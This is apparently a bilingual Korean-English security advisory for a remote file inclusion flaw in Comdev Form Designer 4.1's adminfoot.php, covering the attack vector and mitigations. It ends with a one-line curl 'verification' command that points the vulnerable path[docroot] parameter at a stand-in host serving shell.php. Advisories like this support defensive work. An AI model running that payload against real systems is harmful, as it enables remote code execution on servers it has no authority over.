🇰🇷 한글 설명
Comdev Form Designer 4.1에서 register_globals가 활성화된 환경에서 adminfoot.php의 path[docroot] 파라미터를 통해 원격 파일 포함(RFI) 취약점이 발생합니다. 이를 악용하면 공격자가 원격에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
이 애플리케이션은 사용자 입력을 제대로 검증하지 않아, 공격자가 외부 파일을 로드하고 악의적인 코드를 실행시킬 수 있습니다. PHP 설정이 취약한 경우 이 취약점이 더욱 위험해집니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in adminfoot.php in Comdev Form Designer 4.1, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the path[docroot] parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information.
📍 영향받는 시스템
Comdev Form Designer 4.1 (register_globals enabled PHP 환경)
⚔️ 공격 벡터
path[docroot] 파라미터에 원격 파일 URL 입력으로 RFI 공격 수행
🛡️ 대응 방법
1) Comdev Form Designer를 최신 버전으로 업그레이드 2) PHP register_globals 비활성화 3) 입력값 검증 및 필터링 강화
🔧 검증 코드
위 명령어는 취약한 파라미터가 존재하는지 확인합니다. 원격 파일이 로드되거나 PHP 에러가 발생하면 취약점이 있을 수 있습니다. (실제 테스트는 권한 있는 환경에서만)
curl -s 'http://target/adminfoot.php?path[docroot]=http://attacker.com/shell.php?' 2>&1 | head -20